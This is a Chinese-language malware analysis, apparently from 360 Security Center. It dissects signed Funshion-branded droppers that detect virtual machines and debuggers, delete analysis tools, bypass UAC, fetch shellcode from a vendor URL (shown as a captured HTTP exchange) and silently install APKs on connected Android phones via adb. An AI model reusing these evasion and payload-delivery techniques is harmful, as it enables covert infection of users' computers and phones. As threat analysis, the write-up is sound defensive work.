menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 087-木马盗用“风行播放器签名”流氓推广.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    087-木马盗用“风行播放器签名”流氓推广.md
    9 KB / 2021-07-17 00:01:34
        # 木马盗用“风行播放器签名”流氓推广
    
    by qxnjawk
    
    0x00 摘要
    =======
    
    * * *
    
    最近,360安全中心检测到,大量推广程序在推广一款带有有效风行签名——“Beijing Funshion Online Technologies Ltd.”的静默安装程序。后续分析发现,该程序静默安装,无法卸载,通过LSP注入系统各个联网进程执行。带有反虚拟机,反调试,抗分析,远程控制,远程执行的能力,是一款植入用户计算机的后门程序。
    
    0x01 FunMini文件分析
    ================
    
    * * *
    
    基本信息:
    -----
    
    *   MD5 : 64a34cc9a22fa93d0705920e4c3aed0c
    *   文件名称 : FunMini.exe
    *   文件类型 : PE,未加壳
    *   签名信息 : Beijing Funshion Online Technologies Ltd.
    *   签名正常 风行公司的推广程序
    
    ![](http://drops.javaweb.org/uploads/images/5c3b0dc070246422f60c52e3ffef77f465a94a0e.jpg)
    
    行为概述:
    -----
    
    该样本运行之后,会对目标机器的环境进行检测:检测虚拟机,各种程序开发工具等。
    
    如果不存在开发工具和虚拟机,就会下载一个后门dll程序加载执行,该dll还会进行手机app推广。
    
    行为详解:
    -----
    
    木马检查用户机器上是否存在IDA, vc6.0, windbg.exe等分析人员常用的分析工具。这类检测在木马程序中很常见,正常面向大众的软件,很少做这类检测。
    
    ![](http://drops.javaweb.org/uploads/images/015733bb4c14ac0b67ffbb477f9192bf60015765.jpg)
    
    以下为木马检测的所有字符串的内存截图:
    
    ![](http://drops.javaweb.org/uploads/images/3898d896c6ff890f3876c76e0f43314668fc1e78.jpg)
    
    检测通过之后,后门从服务器下载一个名为Foamii.dll的文件,而该文件才是一切行为的核心。
    
    0x02 Foamii.dll文件分析
    ===================
    
    * * *
    
    基本信息:
    -----
    
    *   名称 : Foamii.dll
    *   MD5 : a8367b1199422f103da439678a1a3683
    *   文件类型 : win32 PE,DLL
    *   签名信息 : Beijing Funshion Online Technologies Ltd.
    *   签名正常
    
    ![](http://drops.javaweb.org/uploads/images/cc7bbf3494e9c0359ca15d2ac5d71f1a3759b0b0.jpg)
    
    行为详解:
    -----
    
    木马首先调用WinExec函数启动rundll32.exe作为宿主进程,调用Foamii.dll的startup函数
    
    ![](http://drops.javaweb.org/uploads/images/96237fe2d440e6a6f72b4a2d91206f28349ded12.jpg)
    
    运行后,dll会从服务器读取在线shellcode代码到本地
    
    ![](http://drops.javaweb.org/uploads/images/aa636c4525a725405adf9a1c0960db7e89d48cae.jpg)
    
    shellcode的远端地址竟然就堂而皇之的挂在风行官网上:`http://fld.funshion.com/instant/instant?bid=52`用浏览器打开该URL内容如下:
    
    ![](http://drops.javaweb.org/uploads/images/37836f504f8c60a080eccf5df0802387e6da11d9.jpg)
    
    数据报文如下图:
    
    ```
    GET /instant/instant?bid=52 HTTP/1.1
    Cache-Control: max-age=43200
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Funshion/1.0.0.1
    Host: fld.funshion.com
    Connection: Keep-Alive
    
    
    HTTP/1.1 200 OK
    Server: nginx/1.2.0
    Date: Wed, 23 Sep 2015 07:12:02 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Vary: Accept-Encoding
    
    184
    ..TKDS…..$..e..1..}…_/…6………..d..`CG..W…S…..V……=-…..\.Gd4..*..a}…X.#..Y…}R …o\W.]I.M.Jw…%.Lm.l._..Zq..n1.X[+F.+….~…c.J…~.]./..’d2…….z.c(.{.(.n..%..8=.3`.`.W…!….E..1.j.U….[..
    #……T&…/……!<.iDEKOY@….=yH.i.MV…..i…..A…..e.._g.YL`…..,5]R..`……&
    Y….(e…[email protected].%.O.T.l..U+…….5..6.]..a{`.? .IEX….<xx…..-…k…}…I..\
    0
    
    ```
    
    而加载shellcode后,代码会向服务器发起访问,返回信息则是一个json串:
    
    ![](http://drops.javaweb.org/uploads/images/15f95350bd13876f2e5bf960d72e21d908631924.jpg)
    
    显然,json串中又为shellcode指明了一个新的下载地址,下载回来的则是一个名为Foamii.zip的压缩文件
    
    ![](http://drops.javaweb.org/uploads/images/bae5b2bd574f13e33285d0a67e7279559d6251a1.jpg)
    
    当Foamii.dll将Foamii.zip下载回来之后,将其解压,并进一步释放了一个名为FunNail.dll的程序
    
    ![](http://drops.javaweb.org/uploads/images/a11945b32c7a3523d7f29c8295f75fd4a94b0a43.jpg)
    
    0x03 FunNail.dll文件分析
    ====================
    
    * * *
    
    文件信息:
    -----
    
    *   文件名称 : FunNail.dll
    *   MD5 : 042ace2a209f537bb9402a563894cf9e
    *   签名信息 : Beijing Funshion Online Technologies Ltd.
    
    ![](http://drops.javaweb.org/uploads/images/32da36354cf4a2e67ad8821c41b50c6efd156341.jpg)
    
    行为概述:
    -----
    
    该程序被运行后,首先会检测当前环境是否运行于虚拟机当中,同时删除PcHunter, smiff等常见分析工具。然后下载推广程序,进行推广。
    
    行为详解:
    -----
    
    木马调用IsProcessorFeaturePresent检测自身是否正处于调试环境中,由此判断自身是否正在被分析人员分析:
    
    ![](http://drops.javaweb.org/uploads/images/67bc3c086c72db1562a5c70ecb9a68c5362312ed.jpg)
    
    若并非处于调试环境中,则申请内存执行shellcode
    
    ![](http://drops.javaweb.org/uploads/images/682f02b49692ccd717e67186121cff57302249d4.jpg)
    
    之后,创建一个模态对话框,关键的工作函数就放在了窗体回调函数中:
    
    ![](http://drops.javaweb.org/uploads/images/63dc172e3dfc2cf9c1e5a99b0e13ec5d16744a11.jpg)
    
    工作函数中,首先是检测虚拟机情况,看自己是否运行于虚拟机之中:
    
    ![](http://drops.javaweb.org/uploads/images/59b62ac5a19ffa2efb619b673e0f54f5604befd5.jpg)
    
    而后,程序会对磁盘中的进行遍历
    
    ![](http://drops.javaweb.org/uploads/images/898e79a73ad568521514edd1aa645e48b18e5460.jpg)
    
    遍历文件过程中,一旦发现检测分析工具则立即删除:
    
    ![](http://drops.javaweb.org/uploads/images/9303f1ce5b41e02a5ef0866486d39d2991b98cdb.jpg)
    
    ![](http://drops.javaweb.org/uploads/images/ef0d6917f4aa8af7ec3f5c93c9fb92998661168f.jpg)
    
    删除PCHunter32.exe文件
    
    ![](http://drops.javaweb.org/uploads/images/dd5c2eceb02cadc295ff63a8e7cac6005dd69364.jpg)
    
    删除smsniff.exe文件
    
    ![](http://drops.javaweb.org/uploads/images/0c21a5c19bc389ec06b44eab2c5d37c809d691db.jpg)
    
    另外,此处还有一个插曲:如果程序检测到当前正运行于Win7之后的系统,程序甚至还有专门用于绕过UAC防护的代码,考虑不可谓不周到。
    
    ![](http://drops.javaweb.org/uploads/images/94dc7947b066b350f8070134290e61492136efa2.jpg)
    
    一切准备工作停当之后,便下载了一套安卓手机的连接组件回来:
    
    ![](http://drops.javaweb.org/uploads/images/b3f033e886727c4e2e7d059a86ef9ae0392b4011.jpg)
    
    同时开启一个转么的线程,用来等待手机usb设备接入
    
    ![](http://drops.javaweb.org/uploads/images/7335a9e46ac5520e6934dbf2030fa18be9ad782a.jpg)
    
    一旦发现有安卓手机接入,则创建一个可读写的pipe管道,主要为adb fork-server 服务。
    
    ![](http://drops.javaweb.org/uploads/images/12f1239046773b310798789dc7b3c16d7297f7fa.jpg)
    
    而后利用adb命令在手机端创建一个 adb fork-server server进程 ,用于通过adb连接继而到电脑的手机。
    
    ![](http://drops.javaweb.org/uploads/images/89ecdb15d8daad2d6cef117481cad9a2056f9bc1.jpg)
    
    ![](http://drops.javaweb.org/uploads/images/4bda43551c2c3eeb76fa737e09c5b9b94b8d933c.jpg)
    
    在手机中创建进程adb fork-server server成功之后,会读取手机端adb fork-server server的数据
    
    ![](http://drops.javaweb.org/uploads/images/a4019bd110befd0d278812d934bb73bde4933021.jpg)
    
    并启动daemon 守护进程
    
    ![](http://drops.javaweb.org/uploads/images/cc0f656a1bd2c9919346f2267d0a4ba8068bc3ca.jpg)
    
    同时下载一个或几个APK文件到本地:
    
    ![](http://drops.javaweb.org/uploads/images/048caa702e9d66653fe4aa81b0b3ee505d9ee0ba.jpg)
    
    现在要做的,就是找到SD卡或者手机内部存储的tmp路径,并将已经准备好的apk文件推送到手机当中:
    
    ![](http://drops.javaweb.org/uploads/images/e5b45cbe0386c18e92ee2296330d2ec8be2ff3e5.jpg)
    
    ![](http://drops.javaweb.org/uploads/images/4a65d565c7c5d4f1ba42989b620ca432693ad869.jpg)
    
    最后,安装并启动安卓的daemon守护进程,拼接adb shell:install命令用来启动apk进行流氓推广
    
    ![](http://drops.javaweb.org/uploads/images/b71d713c5264104ea543d24b570c0e58f4c1e8b6.jpg)
    
    ![](http://drops.javaweb.org/uploads/images/cdc6a567eba0c093e0ac81dfcdc869f7f571b411.jpg)
    
    ![](http://drops.javaweb.org/uploads/images/f1fa48dd0c09dbb26a964005ed0e7ab6f7ca4361.jpg)
    
    以上这一切,用户是完全没有任何感知的,能感知到的唯有在手机上的这一次又一次的不期而遇而已……
    
    ![](http://drops.javaweb.org/uploads/images/70985278d098b9a705feb07fe6129806c8e5c162.jpg)
    
    0x04 总结
    =======
    
    * * *
    
    360安全中心最早接到关于带有风行签名程序从PC端向安卓机强推安卓应用的问题,最早见于去年(2014年)12月中旬,当时就曾组织过技术力量对该族系推广进行过拦截。但在沉寂了9个多月之后,今年9月中旬,该族系又变换了更加犀利的反安全软件代码卷土重来。
    
    目前360已对其推广做了拦截,并提醒用户及时清理,该后门安装量已经过数百万台,并且依然在不断的变种与我们进行对抗。
    
    由衷希望厂商管理好自己产品,不要在这条路上越走越远才好。
    
    links
    file_download